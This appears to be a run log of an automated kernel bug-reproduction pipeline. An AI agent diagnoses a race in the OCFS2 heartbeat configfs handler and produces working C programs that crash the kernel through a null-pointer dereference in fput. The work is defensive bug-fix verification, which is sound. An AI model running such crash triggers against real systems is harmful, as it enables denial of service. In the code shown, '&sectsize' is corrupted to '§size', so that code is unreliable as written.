| 0/0 |
2026/09/04 19:56 |
flow |
repro-c |
1h05m
Results: map[EquivalenceAnalysis:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. OtherCrashReports:<nil> ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
Reproduced:true ReproducedBugTitle:KASAN: null-ptr-deref Write in fput ReproducedCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x30/0xd0 fs/file_table.c:588
o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x612/0xba0 fs/read_write.c:687
ksys_pwrite64 fs/read_write.c:794 [inline]
__do_sys_pwrite64 fs/read_write.c:802 [inline]
__se_sys_pwrite64 fs/read_write.c:799 [inline]
__x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
</TASK>
==================================================================
]
|
| 1/1 |
2026/09/04 19:56 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/0bd482cc9fd6a5c3cdf3e7f636a3906397462859]
|
| 2/1 |
2026/09/04 19:57 |
action |
kernel-builder |
24m
Results: map[KernelObj:/app/workdir/cache/build/2e41c69b0e9dab993a4c21abc2f11c83b9bb54f2]
|
| 3/1 |
2026/09/04 20:22 |
action |
codesearch-prepare |
14m
Results: map[Index:codesearch-index]
|
| 4/1 |
2026/09/04 20:36 |
agent |
initial-researcher |
5m
Model:
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.
=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
headers, or non-C files.
=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
or description mentions a similar bug or fix. Commit messages often reference related issues
or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
Reply: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Reproduction Strategy
To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.
1. **Setup Configfs and OCFS2 Cluster:**
- Mount `configfs` and load the `ocfs2_nodemanager` module.
- Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
- Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.
2. **Setup Heartbeat Region:**
- Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
- Set `blocks` and `start_block` to `1`.
- Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
- Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.
3. **Trigger the Race:**
- Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
- Spawn two threads pinned to different CPUs.
- In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
- The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d", dev_fd);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
|
| 5/2 |
2026/09/04 20:36 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 3861
output: 45
thoughts: 139
Thoughts: **My Thought Process Regarding the KASAN Null-Pointer Dereference in `fput`**
Right, so my attention has been drawn to a KASAN-reported null-pointer dereference occurring within the `fput` function, which in turn is being invoked by `o2hb_region_dev_store`. This isn't just a theoretical concern; KASAN points to a specific write operation of 8 bytes at memory address `0x158`.
My immediate thought, given the context of `fput`, is that this write operation is likely related to reference counting. Specifically, the `fput` function is known to call `atomic_long_dec_return(&file->f_count)`. Now, if KASAN is telling me there's a write at `0x158` and the `f_count` field within the `struct file` is *also* at offset `0x158` from the beginning of the structure, the most logical conclusion is that the `file` pointer itself is `NULL`. This would mean we're trying to dereference a null pointer to access `f_count`, leading directly to the reported null-pointer dereference.
To confirm this hypothesis, my next step is to dive into the source code of `o2hb_region_dev_store` located in `fs/ocfs2/cluster/heartbeat.c`. I need to understand the execution path that leads to `fput` being called with a potentially `NULL` `struct file` pointer. I'll be looking for how the `file` pointer is obtained and whether there are any conditions under which it might legitimately become `NULL` before being passed to `fput`.
|
| 6/2 |
2026/09/04 20:36 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_dev_store]
Results: map[SourceCode:1773: /*
1774: * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775: * nothing
1776: */
1777: static ssize_t o2hb_region_dev_store(struct config_item *item,
1778: const char *page,
1779: size_t count)
1780: {
1781: struct o2hb_region *reg = to_o2hb_region(item);
1782: struct task_struct *hb_task;
1783: long fd;
1784: int sectsize;
1785: char *p = (char *)page;
1786: ssize_t ret = -EINVAL;
1787: int live_threshold;
1788:
1789: if (reg->hr_bdev_file)
1790: return -EINVAL;
1791:
1792: /* We can't heartbeat without having had our node number
1793: * configured yet. */
1794: if (o2nm_this_node() == O2NM_MAX_NODES)
1795: return -EINVAL;
1796:
1797: ret = kstrtol(p, 0, &fd);
1798: if (ret < 0)
1799: return -EINVAL;
1800:
1801: if (fd < 0 || fd >= INT_MAX)
1802: return -EINVAL;
1803:
1804: CLASS(fd, f)(fd);
1805: if (fd_empty(f))
1806: return -EINVAL;
1807:
1808: if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809: reg->hr_block_bytes == 0)
1810: return -EINVAL;
1811:
1812: if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813: return -EINVAL;
1814:
1815: reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816: BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817: if (IS_ERR(reg->hr_bdev_file)) {
1818: ret = PTR_ERR(reg->hr_bdev_file);
1819: reg->hr_bdev_file = NULL;
1820: return ret;
1821: }
1822:
1823: sectsize = bdev_logical_block_size(reg_bdev(reg));
1824: if (sectsize != reg->hr_block_bytes) {
1825: mlog(ML_ERROR,
1826: "blocksize %u incorrect for device, expected %d",
1827: reg->hr_block_bytes, sectsize);
1828: ret = -EINVAL;
1829: goto out;
1830: }
1831:
1832: reg->hr_aborted_start = 0;
1833: reg->hr_node_deleted = 0;
1834: o2hb_init_region_params(reg);
1835:
1836: /* Generation of zero is invalid */
1837: do {
1838: get_random_bytes(®->hr_generation,
1839: sizeof(reg->hr_generation));
1840: } while (reg->hr_generation == 0);
1841:
1842: ret = o2hb_map_slot_data(reg);
1843: if (ret) {
1844: mlog_errno(ret);
1845: goto out;
1846: }
1847:
1848: ret = o2hb_populate_slot_data(reg);
1849: if (ret) {
1850: mlog_errno(ret);
1851: goto out;
1852: }
1853:
1854: INIT_DELAYED_WORK(®->hr_write_timeout_work, o2hb_write_timeout);
1855: INIT_DELAYED_WORK(®->hr_nego_timeout_work, o2hb_nego_timeout);
1856:
1857: /*
1858: * A node is considered live after it has beat LIVE_THRESHOLD
1859: * times. We're not steady until we've given them a chance
1860: * _after_ our first read.
1861: * The default threshold is bare minimum so as to limit the delay
1862: * during mounts. For global heartbeat, the threshold doubled for the
1863: * first region.
1864: */
1865: live_threshold = O2HB_LIVE_THRESHOLD;
1866: if (o2hb_global_heartbeat_active()) {
1867: spin_lock(&o2hb_live_lock);
1868: if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869: live_threshold <<= 1;
1870: spin_unlock(&o2hb_live_lock);
1871: }
1872: ++live_threshold;
1873: atomic_set(®->hr_steady_iterations, live_threshold);
1874: /* unsteady_iterations is triple the steady_iterations */
1875: atomic_set(®->hr_unsteady_iterations, (live_threshold * 3));
1876:
1877: hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878: reg->hr_item.ci_name);
1879: if (IS_ERR(hb_task)) {
1880: ret = PTR_ERR(hb_task);
1881: mlog_errno(ret);
1882: goto out;
1883: }
1884:
1885: spin_lock(&o2hb_live_lock);
1886: reg->hr_task = hb_task;
1887: spin_unlock(&o2hb_live_lock);
1888:
1889: ret = wait_event_interruptible(o2hb_steady_queue,
1890: atomic_read(®->hr_steady_iterations) == 0 ||
1891: reg->hr_node_deleted);
1892: if (ret) {
1893: atomic_set(®->hr_steady_iterations, 0);
1894: reg->hr_aborted_start = 1;
1895: }
1896:
1897: if (reg->hr_aborted_start) {
1898: ret = -EIO;
1899: goto out;
1900: }
1901:
1902: if (reg->hr_node_deleted) {
1903: ret = -EINVAL;
1904: goto out;
1905: }
1906:
1907: /* Ok, we were woken. Make sure it wasn't by drop_item() */
1908: spin_lock(&o2hb_live_lock);
1909: hb_task = reg->hr_task;
1910: if (o2hb_global_heartbeat_active())
1911: set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912: spin_unlock(&o2hb_live_lock);
1913:
1914: if (hb_task)
1915: ret = count;
1916: else
1917: ret = -EIO;
1918:
1919: if (hb_task && o2hb_global_heartbeat_active())
1920: printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921: config_item_name(®->hr_item), reg_bdev(reg));
1922:
1923: out:
1924: if (ret < 0) {
1925: spin_lock(&o2hb_live_lock);
1926: hb_task = reg->hr_task;
1927: reg->hr_task = NULL;
1928: spin_unlock(&o2hb_live_lock);
1929:
1930: if (hb_task)
1931: kthread_stop(hb_task);
1932:
1933: o2hb_unmap_slot_data(reg);
1934:
1935: fput(reg->hr_bdev_file);
1936: reg->hr_bdev_file = NULL;
1937: }
1938: return ret;
1939: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 7/2 |
2026/09/04 20:36 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 6601
output: 19
thoughts: 1269
Thoughts: **A Deep Dive into a Potential Kernel Crash**
I've been looking into a crash occurring in `o2hb_region_dev_store` specifically at the `fput(reg->hr_bdev_file);` call. My immediate thought was, "Okay, `fput` is being called unconditionally on `reg->hr_bdev_file` if `ret < 0`." But then the critical question arose: what if `reg->hr_bdev_file` is actually `NULL` at that point?
I started tracing back the initialization of `reg->hr_bdev_file`. The code shows it's opened using `bdev_file_open_by_dev`. If this `open` call fails and returns an error, the `reg->hr_bdev_file` is explicitly set to `NULL`, and the function returns immediately. This means `fput` isn't called in that specific error path, which is good.
Then I examined other potential failure points *before* the `bdev_file_open_by_dev` call. If an error occurs during the initial string-to-tol conversion, or checks for `fd` validity, or if `fd_empty` returns true, or if any of the `hr_blocks`, `hr_start_block`, or `hr_block_bytes` are zero, or if the file mode isn't a block device, the function returns directly with an error. Crucially, none of these paths lead to the `goto out` label where the problematic `fput` resides.
My attention then shifted to the possibility of `bdev_logical_block_size` failing. If this happens, the code correctly sets `ret = -EINVAL` and uses `goto out`. However, in this scenario, `reg->hr_bdev_file` would have been successfully opened earlier and therefore should *not* be `NULL`.
Similarly, if `o2hb_map_slot_data` fails, it also jumps to `goto out`. Again, if `reg->hr_bdev_file` was validly opened, it should remain non-NULL.
So, the core puzzle remained: how could `reg->hr_bdev_file` be `NULL` when `fput` is called at the `goto out` point? I recalled that the `fput` function itself doesn't perform a `NULL` check. If you pass `NULL` to it, it *will* dereference a `NULL` pointer, leading to a crash.
I re-examined the `o2hb_region_dev_store` function again. It starts with a check: `if (reg->hr_bdev_file) return -EINVAL;`. This confirms that `reg->hr_bdev_file` is indeed initialized to `NULL` at the beginning of the function. Then, it's assigned the result of `bdev_file_open_by_dev`. As noted, if that fails, it's set back to `NULL` and the function returns *before* reaching the problematic `goto out`. If it succeeds, `reg->hr_bdev_file` holds a valid pointer.
This led me to a critical realization: is it possible that `reg->hr_bdev_file` is being set to `NULL` somewhere else in the code *between* its successful opening and the `goto out` path? My review of the provided snippet didn't reveal any other assignments to `NULL`.
Then, I considered the *nature* of the crash. The address `0000000000000158` is highly suspicious. If `reg->hr_bdev_file` were `NULL`, dereferencing it would likely result in a segmentation fault. The specific offset `0x158` strongly suggests that the crash is occurring when trying to access a member within the `struct file` structure, and that the `struct file` pointer itself is `NULL`. This reinforces the idea that `reg->hr_bdev_file` is `NULL` when `fput` is called.
My current hypothesis is that there might be a subtle race condition or an unhandled error path that leads to `reg->hr_bdev_file` being `NULL` at the `goto out` point, which then causes `fput(NULL)` to crash. The fact that the crash occurs at a specific offset within `struct file` when the pointer is `NULL` is a very strong indicator of this `fput(NULL)` scenario. I need to investigate further to pinpoint how this `NULL` value is being propagated to that `fput` call.
|
| 8/2 |
2026/09/04 20:36 |
tool |
codesearch-struct-layout |
0m
Args:
Results: map[Fields:[map[Name:f_lock OffsetBits:0 SizeBits:512] map[Name:f_mode OffsetBits:512 SizeBits:32] map[Name:f_op OffsetBits:576 SizeBits:64] map[Name:f_mapping OffsetBits:640 SizeBits:64] map[Name:private_data OffsetBits:704 SizeBits:64] map[Name:f_inode OffsetBits:768 SizeBits:64] map[Name:f_flags OffsetBits:832 SizeBits:32] map[Name:f_iocb_flags OffsetBits:864 SizeBits:32] map[Name:f_cred OffsetBits:896 SizeBits:64] map[Name:f_owner OffsetBits:960 SizeBits:64] map[Name: OffsetBits:1024 SizeBits:128] map[Name: OffsetBits:1152 SizeBits:1088] map[Name:f_pos OffsetBits:2240 SizeBits:64] map[Name:f_security OffsetBits:2304 SizeBits:64] map[Name:f_wb_err OffsetBits:2368 SizeBits:32] map[Name:f_sb_err OffsetBits:2400 SizeBits:32] map[Name:f_ep OffsetBits:2432 SizeBits:64] map[Name: OffsetBits:2496 SizeBits:256] map[Name:f_ref OffsetBits:2752 SizeBits:64]]]
|
| 9/2 |
2026/09/04 20:36 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 8150
output: 30
thoughts: 711
Thoughts: **My Thought Process on the `reg->hr_bdev_file` NULL Pointer Issue**
Okay, let's trace this. I was initially focused on `f_ref` at offset 2752 bits (344 bytes, or 0x158). I confirmed that `f_ref` is indeed `f_count`, or rather, `f_count` is part of `f_ref`'s structure. I also noted that `file_ref_put` is defined in `include/linux/file_ref.h`, which implies that the `file` pointer itself could potentially be NULL.
This led me back to the core question: how could `reg->hr_bdev_file` be NULL when the `out` label is reached in `o2hb_region_dev_store`? I re-examined the `o2hb_region_dev_store` function, specifically this check:
```c
if (reg->hr_bdev_file)
return -EINVAL;
```
Then I remembered that `reg` here is derived from `item` via `to_o2hb_region(item)`. This made me consider a crucial possibility: could `o2hb_region_dev_store` be called concurrently for the same `item`?
Imagine this scenario with two threads operating on the same `item`:
* **Thread 1:**
* Hits `if (reg->hr_bdev_file)` – it's NULL, so it proceeds.
* Executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`.
* **Thread 2:**
* Also hits `if (reg->hr_bdev_file)` – it's still NULL because Thread 1 hasn't finished assigning it yet.
* Also executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`.
Now, let's say Thread 1 encounters an error *after* assigning `reg->hr_bdev_file`, like a sector size mismatch:
* **Thread 1:**
* `if (sectsize != reg->hr_block_bytes)` condition is met.
* `ret = -EINVAL;`
* `goto out;`
* At the `out:` label:
* `if (ret < 0)` is true.
* `fput(reg->hr_bdev_file);`
* `reg->hr_bdev_file = NULL;`
Simultaneously, Thread 2 might have also encountered an error, perhaps later in its execution, and is also jumping to `out`:
* **Thread 2:**
* Hits `goto out;` (e.g., due to a failure in `o2hb_map_slot_data`).
* At the `out:` label:
* `if (ret < 0)` is true.
* **Here's the problem:** `fput(reg->hr_bdev_file);` is called. But Thread 1 has *just* set `reg->hr_bdev_file` to `NULL`. This would lead to a NULL pointer dereference.
* Then, `reg->hr_bdev_file = NULL;` is executed again.
Yes! This looks like a classic race condition within `o2hb_region_dev_store`.
